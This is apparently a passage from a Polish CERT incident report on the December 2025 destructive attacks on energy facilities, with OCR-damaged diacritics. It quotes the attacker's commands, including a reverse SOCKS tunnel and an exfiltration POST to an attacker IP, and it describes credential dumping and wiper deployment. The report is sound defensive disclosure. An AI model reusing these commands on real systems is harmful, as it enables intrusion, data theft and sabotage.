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Wstep

W dniu 29 grudnia 2025 roku w godzinach porannych oraz popotudniowych
doszto do skoordynowanych atakow w polskiej cyberprzestrzeni. Byty one
wymierzone w liczne farmy wiatrowe i fotowoltaiczne, spotke prywatng z sek-
tora produkcyjnego oraz w elektrocieptownie dostarczajacq ciepto dla prawie
pot miliona odbiorcoéw w Polsce. Wszystkie ataki miaty cel wytacznie destruk-
cyjny — poprzez analogie do swiata fizycznego mozna je poréwnac do celo-
wych podpalen. Warto dodac, ze byt to okres, w ktorym Polska zmagata sie
Z niskimi temperaturami i zamieciami snieznymi, tuz przed Nowym Rokiem.
Na podstawie analizy technicznej mozna stwierdzic, ze wszystkie wspomnia-
ne ataki zostaty przeprowadzone przez tego samego atakujacego.

Zdarzenia te miaty wptyw zaréwno na systemy informatyczne, jak i na
fizyczne urzadzenia przemystowe, co jest rzadko spotykane w dotychczas
opisywanych atakach. Publikujemy ten raport, aby przekazac wiedze o prze-
biegu zdarzen oraz o technikach zastosowanych przez atakujgcego. Liczymy,
ze dzieki temu wzrosnie swiadomos¢é realnego ryzyka zwigzanego z dywer-
sja w cyberprzestrzeni. Odnotowane ataki sg znaczng eskalacjg w poréwna-
niu ze zdarzeniami obserwowanymi przez nas do tej pory.
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Atak na farmy odnawialnych
zrodet energii (OZE)

W obszarze OZE doszto do ataku na co najmniej 30 farm wiatrowych i fo-
towoltaicznych w Polsce. Atak miat cel destrukcyjny i spowodowat zerwanie
komunikacji miedzy obiektami a operatorami sieci dystrybucyjnej (OSD), ale
nie miat on wptywu na biezaca produkcje energii elektrycznej. Z perspekty-
wy operatora systemu przesytowego (Polskie Sieci Elektroenergetyczne) atak
nie wptynat na stabilnos¢ polskiego systemu elektroenergetycznego. Nalezy
jednak zaznaczy¢, ze z uwagi na poziom dostepow uzyskanych przez atakuja-
cego istniato ryzyko spowodowania przestoju w produkcji energii elektrycznej
przez obiekt. Jednak nawet gdyby tak sie stato, to wedtug przeprowadzonych
analiz ubytek sumarycznej mocy wszystkich 30 obiektow nie wptynatby na
stabilnosc polskiego systemu elektroenergetycznego w omawianym okresie.

Architektura farmy OZE

Zeby zrozumieé przebieg ataku i jego konsekwencje, nalezy w pierwszej ko-
lejnosci wyjasnic architekture farm OZE. Energia ze zrodet wiatrowych i foto-
woltaicznych jest zbierana i kierowana do stacji elektroenergetycznej, zwanej
gtownym punktem odbioru (GPO). Wewnatrz stacji napiecie zostaje pod-
niesione przez transformator do poziomu 110 kV, co umozliwia efektywne
przekazanie mocy do sieci dystrybucyjnej, przy czym caty proces jest objety
nadzorem i sterowaniem przez operatora sieci dystrybucyjnej (OSD), co za-
pewnia stabilnos$¢ pracy systemu i bezpieczenstwo sieci.
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RYS. 1
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Atakiem zostata dotknieta stacja elektroenergetyczna GPO, czyli miejsce,
w ktorym obiekt OZE jest potaczony z siecia dystrybucyjna i jej operatorem.
Sato obiekty zarzadzane zdalnie, bez obsady na miejscu, gdzie powszechna
jest mozliwos¢ zdalnego dostepu.

W obszarze automatyki przemystowej istotne elementy GPO z perspek-

tywy opisywanego ataku to:

Sterownik RTU odpowiedzialny za telemechanike i nadzor nad praca sta-
cji elektroenergetycznej.

Lokalne HMI odpowiedzialne za wizualizacje stanu pracy obiektu (stacji)
na podstawie danychz RTU.

Sterowniki zabezpieczen odpowiedzialne np. za ochrone przed uszko-
dzeniami elektrycznymi.

Serwery portow szeregowych dla podtaczenia urzadzen wykorzystujg-
cych RS232 lub RS485 oraz dla konwersji na protokoty szeregowe uzy-
wane w komunikaciji z OSD.

tacza podstawowe i zapasowe (router komorkowy) celem potaczenia
z systemem SCADA operatora sieci dystrybucyjnej z uzyciem protoko-
tuDNP3.0lub IEC 101.

Koncentrator VPN i Firewall w jednym urzgdzeniu, stuzacy do zapewnie-
nia zdalnego dostepu serwisowego, segmentacji sieci oraz ewentualne-
go pofaczenia z systemem SCADA farmy OZE i OSD.

Nalezy podkreslic, ze OSD wymagajaq, aby wszelka komunikacja po-

miedzy systemem SCADA operatora a GPO odbywata sie wytacznie za
posrednictwem tgcza szeregowego, z wykorzystaniem protokotow DNP3.0,
lub IEC 101. Takie rozwigzanie minimalizuje ryzyko wykorzystania ataku
na GPO jako bezposredniego wektora ataku na sie¢ teleinformatyczng OSD.
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Wektor ataku na GPO

W kazdym zaatakowanym obiekcie byto obecne urzadzenie Fortigate pet-
nigce funkcje koncentratora VPN oraz Firewalla. W kazdym przypadku inter-
fejs VPN byt dostepny z sieci Internet i umozliwiat logowanie na zdefiniowane
w konfiguracji konta bez wielosktadnikowego uwierzytelniania. Z powodu
dziatan destrukcyjnych przeprowadzonych przez atakujgcego nie udato sie
odzyskac petnych logéw z zadnego z zaatakowanych urzadzen. W toku ana-
lizy ustalono, ze w przesztosci niektore z tych urzgdzen w roznych okresach
przez dtuzszy czas byty podatne, w tym na zdalne wykonanie kodu. Z prze-
prowadzonego wywiadu wynika, ze powszechng praktyka w branzy jest wy-
korzystywanie tych samych kont i haset w wielu obiektach. W takiej sytuacji
przejecie nawet jednego konta mogto pozwoli¢ aktorowi na znalezienie innych
urzadzen, w ktorych byto ono uzyte.

Sieci badanych obiektow czesto posiadaty wydzielone podsieci VLAN,
ale atakujgcy w momencie ataku posiadat uprawnienia administratora urza-
dzenia, co prawdopodobnie zostato uzyte do pozyskania poswiadczen kon-
ta VPN, ktore miato uprawnienia dostepowe do wszystkich podsieci. Nawet
jesli takiego konta by nie byto, to atakujgcy, posiadajac uprawnienia admini-
stratora, mogt zmieni¢ konfiguracje urzadzen. Wszystkie badane urzadze-
nia w dniu ataku zostaty przez aktora przywrécone do ustawien fabrycznych.
Miato to prawdopodobnie cel destrukcyjny, aby utrudnié przywrocenie spraw-
nosci obiektu, ale tez stuzyto do zatarcia sladow.

Dziatania destrukcyjne

W dniu 29 grudnia 2025 roku w kazdym z obiektow rozpoczeto dziatania de-
strukcyjne na urzadzeniach, do ktorych aktor uzyskat dostep. Ataki w obrebie
danej stacji byty prawdopodobnie czesciowo zautomatyzowane. Urzadzenia
byty uszkadzane w kolejnosci rosnacej po adresacji IP. Zaobserwowano, ze
gdy w danym segmencie sieci atak sie nie powiodt na jednym z adresow IP,
nie byt on kontynuowany na kolejnych.

Opisywane dalej uszkodzenia sterownikow RTU byty bezposrednig przy-
czyna zerwania komunikacji obiektu z OSD i uniemozliwity zdalne sterowanie,
jednak nie wptyneto to bezposrednio na biezaca produkcje.

Sterownik RTU Hitachi

Na wiekszosci zaatakowanych farm uzywano sterownika Hitachi RTU560,
w wersjach firmware 12.6.6.0, 12.7.3.0, 13.1.1.0, 13.5.2.0. Urzgdzenia mia-
ty domysine poswiadczenia, w tym dla konta o nazwie ,Default”. Wszystkie
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RYS. 2

RYS. 3

urzadzenia posiadaty web interfejs dostepny z sieci GPO i przy odpowiednich
uprawnieniach osiggalny z urzgdzenia Fortigate.

Atak zostat wykonany poprzez logowanie do web interfejsu z uzyciem
konta ,,Default”. Konto to posiada uprawnienia do zmiany firmware na urzadze-
niu i zostato uzyte do wgrania uszkodzonego firmware. Plik w formacie .ELF
zostat zmodyfikowany tak, ze w miejscu startu programu wstawione zosta-
to 240 bajtéw OxFF. W rezultacie procesor wykonat nieprawidtowg instrukcje,
co spowodowato btad i skutkowato nieskonczong petla restartu urzadzenia.

Firmware oryginalny (po lewej) oraz uszkodzony przez atakujacego
(po prawej)

Warto zauwazyc, ze zmodyfikowany firmware wgrany przez atakujgcego
przedstawiat sie jako wersja 13.5.3.0, ktéra nie byta uzywana w zadnym z za-
atakowanych obiektéw. Oznacza to, ze prawdopodobnie atakujgcy miat go
Zinnego zrodta.

Fragment dziennika zdarzen z urzadzenia RTU
z dnia 29 grudnia 2025 roku

Funkcja secure update, ktéra umozliwiataby sprawdzenie podpisu wgry-
wanego firmware, zostata udostepniona w wersji 13.2.1, jednak wymagata ona
wiaczenia. Na zadnym z urzadzen, ktore wspierato secure update, ta funkcja
nie zostata wigczona. Nawet jesli bylaby wigczona, to istnieje podatnosc¢
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(CVE-2024-2617), ktora pozwala na ominiecie secure update. Zostata ona
naprawiona w wersji 13.7.7.

CERT Polska byt w statym kontakcie z PSIRT Hitachi Energy podczas
obstugi incydentu, ktory niezaleznie potwierdzit opisany przebieg ataku.

Sterowniki RTU Mikronika

Atakujacy przeprowadzit rowniez dziatania destrukcyjne w obiektach, w kto-
rych byty uzywane sterowniki firmy Mikronika. Architektura sterownikow jest
oparta na systemie Linux. W zaobserwowanych zdarzeniach atakujgcy wy-
korzystat domysine poswiadczenia, aby zalogowaé sie poprzez konsole SSH
na konto z uprawnieniami root. Nastepnie wykonat polecenie majace na celu
usuniecie wszystkich plikow z systemu, co spowodowato awarie urzadze-
nia. W pliku .bash_history nie zachowata sie doktadna komenda wykonana
w ataku.

W toku analizy firmie Mikronika udato sie odzyskac czes¢ logow z urza-
dzenia. Wskazujg one, ze na wszystkich obiektach, gdzie urzadzenie byto wy-
korzystywane, 25 grudnia 2025 roku atakujgcy wykonywat skanowanie sieci
i proby logowania.

CERT Polska byt w statym kontakcie z firmg Mikronika podczas obstugi
incydentu, ktora niezaleznie potwierdzita opisany przebieg ataku.

Sterowniki zabezpieczen Hitachi Relion

W dwoch przypadkach zaobserwowano dziatania destrukcyjne wymierzone
w sterowniki zabezpieczen polowych Hitachi Relion 650 v1.1.

Majg one domyslnie wtgczong ustuge FTP, ktéra daje dostep do plikow
systemowych urzadzenia. Atakujgcy wykorzystat wbudowane konto z domysl-
nymi poswiadczeniami, aby usung¢ pliki niezbedne do dziatania urzadzen.
Spowodowato to btad, ktory doprowadzit do wytaczenia urzgdzenia i uniemoz-
liwiat jego ponowne uruchomienie.

Nalezy podkreslic, ze gdyby urzadzenie zostato wdrozone zgodnie
z zaleceniami producenta, to domysine konto FTP zostatoby automatycznie
zablokowane.

CERT Polska byt w statym kontakcie z PSIRT Hitachi Energy podczas
obstugi incydentu, ktéry niezaleznie potwierdzit opisany przebieg ataku.

Komputery HMI Mikronika

W wybranych przypadkach jako HMI byto wykorzystywane oprogramowanie

Mikronika Syndis zainstalowane na systemie Windows 10. Maszyny posiada-
ty domysine hasto ustawione podczas wdrozenia dla konta z uprawnieniami

lokalnego administratora.
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RYS. 4

Atakujacy wykorzystat znajomosé tego konta (brak prob zgadywania
hasta) do uzyskania dostepu do maszyny z uzyciem ustugi zdalnego pulpitu.
W dniu 8 grudnia 2025 roku wprowadzit szereg zmian w konfiguracji systemu.
Wsrdod nich mozna wymienié m.in. udostepnienie zasobow administracyj-
nych oraz utworzenie nowej zasady zapory o nazwie Microsoft Update, ktéra
umozliwiata komunikacje na porcie TCP 445. Wprowadzone opcje konfigu-
racyjne pozwalaty na dostep sieciowy do partycji dysku przy uzyciu protoko-
tu SMB, a takze na zdalne wykonywanie polecen w systemie. Modyfikacje
wprowadzane byty do systemu za pomocg interpretera PowerShell.

powershell.exe New-ItemProperty -Path 'HKLM:\SYSTEM\
CurrentControlSet\Services\LanmanServer\Parameters' -Name
'AutoShareWks' -Value 1 -PropertyType DWord -Force

powershell.exe New-ItemProperty -Path 'HKLM:\SYSTEM\
CurrentControlSet\Services\LanmanServer\Parameters' -Name
'AutoShareServer' -Value 1 -PropertyType DWord -Force

powershell.exe Get-Service LanmanServer|Restart-Service -Verbose
-Force

powershell.exe New-NetFirewallRule -Name 'Microsoft Update'
-DisplayName 'Microsoft Update' -Protocol TCP -LocalPort 445
-Action Allow

Po wprowadzeniu nowych konfiguracji na komputerze atakujgcy nastep-
nie wykorzystat pakiet skryptow Impacket do przeprowadzenia rekonesan-
su. Wsrod wykonanych polecen mozna wyszczegolnic takie jak netstat oraz
tasklist.

W dniu 29 grudnia 2025 roku w godzinach porannych dziennik zdarzen
oraz system plikow systemu operacyjnego odnotowaty prawidtowe logowa-
nie typu sieciowego, a nastepnie utworzenie pliku szkodliwego oprogramowa-
nia pod sciezkg C:\Source.exe. Plik ten zostat nastepnie uruchomiony w celu
uszkodzenia danych.

Plik ztosliwego oprogramowania DynoWiper na dysku komputera HMI
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Petna analiza probki Source.exe zostata przedstawiona w dedykowanym
rozdziale. Warto zaznaczyc, ze jest to doktadnie takie samo oprogramowa-
nie jak uzyte w opisywanym dalej incydencie w elektrocieptowni, nazwane
DynoWiper.

W przypadkach, gdzie byto uzyte HMI z innymi poswiadczeniami dla kon-
ta lokalnego administratora, widac nieskuteczne proby przetamywania hasta.
Dotyczy to rowniez urzadzen innych dostawcow niz Mikronika. Woéwczas HMI
nie zostato uszkodzone.

Serwery portow Moxa Nport

Kazdy z zaatakowanych obiektow korzystat z serwerow portow Moxa Nport
6xxx. Urzadzenia posiadaty wtaczony interfejs webowy i domysiny login i ha-
sto. Atakujgcy wykorzystat te poswiadczenia w celu przywrécenia urzgdzen
do ustawien fabrycznych, zmiany hasta logowania oraz ustawienia adresu IP
urzadzenia na nieosiggalny, np. 127.0.0.1. Spowodowato to niedostepnos¢
urzadzenia, a zmiana hasta i adresu IP miata na celu opdznienie przywro-
cenia sprawnosci. W kazdym z analizowanych przypadkow celem ataku byty
wszystkie urzagdzenia Moxa dostepne na obiekcie.
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1 Wiper-oprogramowanie
niszczace pliki lub wymazujace
dyski, majace nacelu
sprawienie, ze urzadzenie nie
bedzie funkcjonowato lub dane
nie beda nadawaly sie do uzycia.

Atak na duza
elektrocieptownie

W dniu 29 grudnia 2025 roku doszto rowniez do ataku na jedng z polskich
elektrocieptowni. Celem sabotazu byto nieodwracalne uszkodzenie danych
znajdujacych sie na urzadzeniach w sieci wewnetrznej podmiotu poprzez uru-
chomienie oprogramowania typu wiper*. Destrukcyjny atak poprzedzony byt
dtugotrwaty infiltracjg infrastruktury oraz kradziezg wrazliwych informacji do-
tyczacych dziatania podmiotu. W wyniku swoich dziatan atakujgcy uzyskat do-
step do uprzywilejowanych kont w domenie Active Directory, co pozwolito mu
na swobodne poruszanie sie po systemach podmiotu. Dystrybucja wipera na
maszyny w sieci byta realizowana z wykorzystaniem polityk GPO, jednak uzy-
wane w instytucji oprogramowanie klasy EDR rozpoznato szkodliwe dziatanie
i zablokowato atak. Slady podejrzanych aktywnosci w infrastrukturze zaob-
serwowane zostaty kilka miesiecy przed uruchomieniem oprogramowania wi-
per. Nie udato sie w petni potwierdzic, ze dwa klastry aktywnosci w 2025 roku
zostaty wykonane przez tego samego aktora, natomiast rozpoznanie przez
aktora systemow automatyki przemystowej oraz brak dalszej aktywnosci po
kradziezy bazy poswiadczen z kontrolera domeny w pierwszym klastrze wska-
Zujg na aktora dziatajgcego w dtuzszym okresie o zbieznym profilu.

Wczesna aktywnosc¢ w infrastrukturze podmiotu

W okresie od marca do lipca 2025 roku w infrastrukturze zaatakowanego
podmiotu zaobserwowane zostaty podejrzane dziatania zwigzane z rekone-
sansem, nieuprawnionym dostepem do danych oraz préobami pozyskania po-
Swiadczen uzytkownikow.

Pierwsze oznaki obecnosci atakujagcego w infrastrukturze podmiotu
Analiza dziennikow zdarzen systemu Microsoft Windows z kontrolera domeny
oraz zdarzen odnotowanych w systemie EDR wykazata, ze pierwsze dziata-
nia atakujacego miaty miejsce w okresie od marca do maja 2025 roku. Korela-
cja zdarzen pozwolita ustalic, ze atakujgcy uzyskat dostep do jednej z maszyn
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przesiadkowych, gdzie odnotowane zostaty logowania za pomocg protokotu
pulpitu zdalnego z adresu przypisanego do jednego z interfejséw urzgdzenia
brzegowego Fortigate. Nastepnie z tej maszyny atakujacy taczyt sie do innych
maszyn (w tym kontrolera domeny) z uzyciem pulpitu zdalnego.

Slady rekonesansu
Analiza artefaktow systemu Microsoft Windows ujawnita, ze po uzyskaniu do-
stepu do kontrolera domeny atakujgcy kontynuowat rekonesans infrastruk-
tury, poszukujgc zwtaszcza informacji dotyczacych systemow automatyki
przemystowej oraz prowadzac rozpoznanie dostepnych w sieci systemow.
Wykorzystywat w tym celu narzedzie konsolowe nircmd, za pomoca ktorego
wykonywat zrzuty ekrandw poszczegdlinych urzadzen. Do wykonania progra-
mu na docelowych maszynach atakujgcy uzywat narzedzia PsExec z pakie-
tu PsTools. Dodatkowo na wielu maszynach odnotowano zdalne wykonanie
polecenia majgcego na celu zapisanie do pliku outlog.txt informacji takich jak:
aktualnie uruchomione na maszynie procesy, potaczenia sieciowe, tablice ro-
utingu, ARP cache, a takze zawartosc¢ katalogow uzytkownikow.

Polecenia wykonywane za pomoca harzedzia PsExec na wielu
maszynach:

nircmd.exe "savescreenshot C:\Windows\Temp\imagetmp.png"

cmd.exe /c "tasklist > C:\Windows\TEMP\outlog.txt && netstat -nao
>> C:\Windows\TEMP\outlog.txt && netstat -r > C:\Windows\TEMP\
outlog.txt & & arp -a > C:\Windows\TEMP\outlog.txt && dir /s /b C:\
Users >> C:\Windows\TEMP\outlog.txt"

Na kontrolerze domeny atakujacy wchodzit tez w interakcje z systema-
mi plikdow innych systemow, uzyskujac do nich dostep z wykorzystaniem pro-
tokotu SMB. Coistotne, wiekszos¢ z przegladanych w ten sposéb systemow
miata w swojej hazwie stowo ,scada”, co wskazuje na zainteresowanie ob-
szarem automatyki przemystowej. Oprocz tego atakujgcy wylistowat zasoby
udostepniane przez serwer NAS oraz podejmowat proby tgczenia sie poprzez
RDP do kolejnych maszyn. Dziatania te byty roztozone w czasie, w zdecydo-
wanej wiekszosci prowadzono je w godzinach pracy biurowej.

Eskalacja uprawnien w infrastrukturze

Prawie miesigc po uzyskaniu dostepu do kontrolera domeny atakujgcy umie-
Scit na serwerze zakodowany w Base64 plik archiwum ZIP i odkodowat go
przy uzyciu systemowego narzedzia certutil. Dostepny do analizy materiat
nie pozwolit na ustalenie zawartosci archiwum, jednak bezposrednio po tym
zdarzeniu system EDR wykryt prawdopodobng kradziez poswiadczen po-
przez zrzut danych z pamieci procesu LSASS. Niedtugo pozniej zostato row-
niez wykryte uzycie przez atakujgcego oprogramowania Rubeus, ktore stuzy
do atakow na protokot uwierzytelniania Kerberos. Atakujacy wykorzystat je
do stworzenia tzw. Diamond Ticket. W drugiej potowie lipca atakujacy doko-
nat zrzutu catej bazy Active Directory, zgrywajac zawartosc pliku ntds.dit.
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RYS. 5

Aktywnosc¢ atakujgcego pod koniec 2025 roku

Pod koniec 2025 roku w infrastrukturze zaatakowanego podmiotu ponownie
zostaly zaobserwowane nieuprawnione dziatania powigzane z rekonesansem,
kradziezg poswiadczen oraz dostepem do danych. Tym razem atakujacy pod-
jat réwniez prébe uszkodzenia danych na serwerach oraz stacjach roboczych.

Metoda dostepu do infrastruktury sieciowej

Analiza zabezpieczonego materiatu dowodowego ujawnita, ze atakujgcy
podczas trwania incydentu wielokrotnie nawigzywat potaczenia do ustugi
SSL-VPN portal urzadzenia Fortigate ulokowanego na brzegu sieci instytu-
cji. Atakujacy uzyskiwat dostep do infrastruktury przy uzyciu wielu kont, ktore
byty statycznie zdefiniowane w konfiguracji urzadzenia i nie posiadaty dwu-
sktadnikowego uwierzytelniania. Atakujgcy taczyt sie przy uzyciu weztow
TOR, atakze z uzyciem polskich oraz zagranicznych adresow IP, czesto be-
dacych przejetg infrastruktura.

Fragment dziennika zdarzen urzadzenia Fortigate przedstawiajacy
dwa z nieuprawnionych logowan.

Po uzyskaniu dostepu do ustugi SSL-VPN portal atakujgcy korzystat
ze zdefiniowanych w pliku konfiguracyjnym zaktadek umozliwiajgcych dostep
uprawnionym uzytkownikom do maszyn przesiadkowych przy wykorzysta-
niu protokotu zdalnego pulpitu. Zawartosé pliku konfiguracyjnego urzadzenia
Fortigate swiadczy o tym, ze niektérzy z uzytkownikow posiadali statycznie
ustawione poswiadczenia uzytkownika docelowego, co umozliwiato tgczenie
sie do maszyny przesiadkowej z portalu SSL-VPN bez podawania dodatko-
wych poswiadczen uzytkownika lokalnego lub domenowego.
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RYS. 6

RYS. 7

2 https://github.com/b23r0/
rsocx

Fragment pliku konfiguracyjnego urzadzenia Fortigate przedstawiajacy
skonfigurowany bookmark typu RDP ze statycznie zdefiniowanymi
poswiadczeniami.

Fragment dziennika zdarzen urzadzenia Fortigate przedstawiajacy
wykorzystanie mechanizmu zaktadek przez atakujacego.

Wykorzystanie tunelu typu Reverse SOCKS Proxy

Podczas swoich dziatan atakujgcy tunelowat niektore ataki z wykorzystaniem
oprogramowania Reverse SOCKS Proxy. Metoda ta polega na uruchomieniu
specyficznego oprogramowania na maszynie wewnatrz infrastruktury, ktére
tworzy nastepnie tunel z maszyng atakujacego znajdujaca sie czesto w sieci
publicznej. Dzieki takiemu rozwigzaniu atakujgcy moze zdalnie kierowa¢ ata-
ki do innych maszyn w sieci wewnetrznej poprzez maszyne z uruchomionym
Reverse SOCKS Proxy. Slady uruchomienia tego rodzaju oprogramowania,
wraz z adresem IP serwera kontrolowanego przez atakujacego, odnale-
ziono na jednej stacji roboczej. Atakujgcy uzyt w tym celu narzedzia rsocx®
pod nazwamir.exe oraz rsocx.exe.

r.exe -r 31.172.71[.]5:8008
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RYS. 8

RYS. 9

Slady rekonesansu infrastruktury

Korelacja sesji SSL-VPN oraz logowan zdalnego pulpitu umozliwita identy-
fikacje technik oraz narzedzi, przy uzyciu ktorych atakujacy przeprowadzat
rekonesans w infrastrukturze. Wsrod narzedzi, z ktorych korzystat atakujacy,
mozna wymieni¢ m.in. narzedzia systemowe nslookup oraz ping. Wykorzy-
stanie narzedzi systemowych pozwolito atakujagcemu na unikniecie detekgji
przez systemy bezpieczenstwa, gdyz sa to narzedzia standardowo zainstalo-
wane w systemie Microsoft Windows oraz wykorzystywane przez uzytkowni-
kow i administratorow takich systemow.

Fragment dziennika zdarzen jednego z kontrolerow domeny zawierajacy
przyktad wykonanych polecen ping oraz lookup

Kolejnym narzedziem wykorzystywanym przez atakujgcego do reko-
nesansu sieci byt skaner portéow o nazwie Advanced Port Scanner oraz
Advanced IP Scanner. Slady wykonania tego oprogramowania oraz dostepu
do powigzanych z nim plikdw wykryto na kilku urzadzeniach w sieci instytuciji.

Fragment systemu plikdw jednej ze stacji roboczych zawierajacy slady
uruchomienia oprogramowania Advanced Port Scanner

Wykorzystanie przegladarki Microsoft Edge do rekonesansu ustug

oraz transferu plikow

Zachowane logi wskazujg, ze atakujgcy wykorzystywat przegladarke inter-
netowg Microsoft Edge uruchomiong w trybie prywatnym (wywotanie z pa-
rametrem --inprivate), w celu uzyskania dostepu do ustug znajdujgcych sie
zarowno w sieci wewnetrznej podmiotu, jak i w podmiotach trzecich. Ponadto
przegladarka zostata wykorzystana do pobrania dodatkowych plikow. Podczas
gdy program Advanced Port Scanner zostat pobrany bezposrednio ze strony
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RYS. 10

producenta, atakujgcy sciggat tez pliki przechowywane na dysku chmurowym
Dropbox. Odnotowane zostaty rowniez potgczenia do domeny pastebin.com
(serwis umozliwiajacy przechowywanie i udostepnianie danych tekstowych).

Sposoby komunikacji miedzy maszynami w infrastrukturze

Gtowng metodg komunikacji atakujgcego pomiedzy komputerami w infra-
strukturze sieciowej byt protokot zdalnego pulpitu. Ta metoda dostepu byta
uzywana przez uprawnionych do tego uzytkownikow infrastruktury, co pozwo-
lito nie wzbudzac podejrzen. Atakujacy, tak jak uprawnieni do tego uzytkow-
nicy, logowat sie w pierwszej kolejnosci do stacji przesiadkowej, a nastepnie
do innych systemow w sieci.

Przestepca do komunikacji pomiedzy maszynami wykorzystywat row-
niez zbioér skryptow z publicznie dostepnego pakietu Impacket. Pakiet Impac-
ket pozwala na komunikacje z szerokim wachlarzem protokotow sieciowych,
a w tym na zdalne wykonywanie polecen na maszynach w infrastrukturze,
np. poprzez ustuge SMB. Slady oprogramowania Impacket zostaty zidentyfi-
kowane przez system EDR wykorzystywany w infrastrukturze.

Kradziez poswiadczen z ustugi LSASS stacji roboczej

W celu zwiekszenia uprawnien w infrastrukturze oraz dostepu do kolejnych
systemow atakujgcy wykorzystat technike ekstrakcji poswiadczen ze zrzutu
procesu ustugi LSASS systemu Microsoft Windows. Ustuga LSASS jest od-
powiedzialna m.in. za uwierzytelnianie uzytkownikdw w systemie operacyj-
nym. Podczas trwania incydentu zaobserwowano utworzenie zrzutu pamieci

wskazanej ustugi. Atakujacy moégt nastepnie probowac¢ ztamac hasta uzyt-
kownikow lub uzyé wartosci hash haset celem dostepu do innych systemow.

Fragment pliku kwarantanny oprogramowania antywirusowego
zawierajacy $ciezke do wykonanego zrzutu pamieci procesu LSASS
na jednej ze stacji roboczych.

Kradziez bazy Active Directory oraz rejestrow z kontrolera domeny
Celem atakujgcego staty sie rowniez rejestry SAM, SYSTEM oraz baza
Active Directory znajdujace sie na jednym z kontrolerow domeny. Odnalezione
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RYS. 11

RYS. 12

slady swiadczg o tym, ze atakujgcy wykorzystat systemowe polecenie reg do
utworzenia kopii rejestrow systemowych SAM i SYSTEM, a takze systemowe
polecenie vssadmin do utworzenia kopii Shadow partycji C w celu kradziezy
pliku ntds.dit przechowujacego baze Active Directory. Wykradzione dane zo-
staty skompresowane oraz podjeta zostata proba przestania ich z uzyciem in-
terpretera PowerShell do serwera kontrolowanego przez atakujgcego.

Invoke-RestMethod -Uri http://31.172.71[.]5:50443 -Method Post
-InFile .\kkk.zip

Fragment pamieci podrecznej klienta zdalnego pulpitu z przejetej staciji
roboczej zawierajacy Slady polecen tworzacych kopie rejestrow SAM
oraz SYSTEM.

Fragment pamieci podrecznej klienta zdalnego pulpitu z przejetej staciji
roboczej zawierajacy slady polecen tworzacych kopie pliku bazy Active
Directory oraz wykonujacych prébe wysytki danych do zdalnego serwera.

Kradziez konfiguracji urzadzen Fortigate

Analiza dziennikow zdarzenh znajdujgcych sie na jednym z kontrolerow dome-
ny ujawnita, ze atakujgcy dokonat ponadto kradziezy plikow konfiguracyjnych
kilku urzadzen Fortigate funkcjonujgcych w zaatakowanym podmiocie. Ko-
relacja zdarzen powigzanych z utworzonymi w danym momencie procesa-
mi i plikami $wiadczy o tym, ze kradziez nastapita przy uzyciu przegladarki
Microsoft Edge uruchomionej w trybie prywatnym.
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RYS. 13

RYS. 14

Fragment dziennika zdarzen powigzany z utworzeniem plikow
konfiguracyjnych urzadzen Fortigate na jednym z kontrolerow domeny.

Modyfikacja konfiguracji urzadzenia brzegowego Fortigate

Podczas analizy dziennikow zdarzen urzadzenia Fortigate znajdujacego sie
na brzegu sieci zaatakowanego podmiotu wyszio na jaw, ze atakujgcy doko-
nat rowniez zmian w jego konfiguracji. Modyfikacje polegaty m.in. na dodaniu
do konfiguracji urzadzenia nowej reguty, ktorej zadaniem byto umozliwienie
nawigzywania potgczen za pomocg dowolnego protokotu, przy uzyciu dowol-
nego adresu IP, do okreslonego urzadzenia. W ramach utworzonej reguty wy-
taczone zostato logowanie ruchu sieciowego. Dodatkowo nazwa utworzonej
reguty imitowata nazwe powigzanej instytucji wystepujacej juz w konfigura-
cji urzadzenia.

Fragment dziennika zdarzen urzadzenia Fortigate przedstawiajacy
dodanie nowej reguty.

Destrukcja plikdw na stacjach roboczych

W dniu 29 grudnia 2025 roku w godzinach porannych atakujacy uzyskat do-
step do portalu SSL-VPN, a nastepnie przy jego wykorzystaniu wykonat
potaczenie zdalnego pulpitu do maszyny przesiadkowej. Z tego kompute-
ra potaczyt sie do jednego z kontroleréw domeny, na ktorym utworzyt archi-
wum zawierajgce m.in. plik oprogramowania typu wiper majacy na celu trwate
uszkodzenie danych na maszynach w infrastrukturze sieciowe;j.
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RYS.15 —— Fragment dziennika zdarzen powigzany z utworzeniem szkodliwych
plikéw na jednym z kontrolerow domeny.

Wiper zostat umieszczony na zasobie sieciowym dostepnym dla innych kom-
puterow w sieci, a nastepnie zostat uruchomiony przy wykorzystaniu dodat-
kowej polityki GPO. Szczegotowy opis wipera (DynoWiper) oraz skryptu
go dystrybuujgcego zostat umieszczony w rozdziale ,Analiza ztosliwego
oprogramowania”.

Plik wykonywalny nie zostat wykryty przez oprogramowanie antywiruso-
we, natomiast jego wykonanie zostato zablokowane w trakcie dziatania przez
oprogramowanie klasy EDR poprzez mechanizm kanarkow, czyli plikow, kto-
re w momencie rozpoczecia modyfikacji ich zawartosci podnoszg alarm. Spo-
wodowato to zatrzymanie nadpisywania danych na ponad 100 maszynach,
na ktorych plik zostat juz uruchomiony. Tego dnia atakujacy podjat kolejng
prébe uruchomienia nieznacznie zmodyfikowanego wipera, jednak ona row-
niez nie byta skuteczna.

RYS.16 ——— Fragment dziennika zdarzen powigzany z utworzeniem kolejnych
szkodliwych plikdbw na jednym z kontroleréw domeny.

Destrukcja danych na dyskach serwerowych

Oprocz proby destrukcji danych na stacjach roboczych nalezacych do za-
atakowanego podmiotu atakujgcy podjat rowniez probe bezposredniego
zniszczenia danych na dyskach podtaczonych do serweréw ulokowanych
w infrastrukturze. W tym celu wykorzystat on minimalistyczng dystrybucije Tiny
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RYS. 17

RYS. 18

RYS. 19

Core Linux, ktorej obraz pobrat na jeden z kontrolerow domeny, a nastepnie
uruchomit go na serwerze przy wykorzystaniu interfejsu KVM. W kolejnych
krokach przy uzyciu polecenia dd nadpisat on fragmenty dyskow losowymi
danymi.

Fragment pamieci podrecznej klienta zdalnego pulpitu z przejetej stacji
roboczej zawierajacy slady trwatej destrukcji danych na dyskach
podiaczonych do jednego z serweréw.

Do tego samego zadania atakujgcy probowat wykorzystac technologie
o nazwie Intel Rapid Storage Technology, przy uzyciu ktérej podjat probe mo-
dyfikacji konfiguracji macierzy RAID dyskow.

Fragment pamieci podrecznej klienta zdalnego pulpitu z przejetej staciji
roboczej zawierajacy Slady proby rekonfiguracji macierzy RAID
jednego z serweroéw.

Fragment pamieci podrecznej klienta zdalnego pulpitu z przejetej staciji
roboczej zawierajacy slady proby rekonfiguracji macierzy RAID
jednego z serweroéw.
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Atak na przedsiebiorstwo
sektora produkcyjnego

Tego samego dnia, a wiec 29 grudnia 2025 roku, atakujacy podjat rowniez
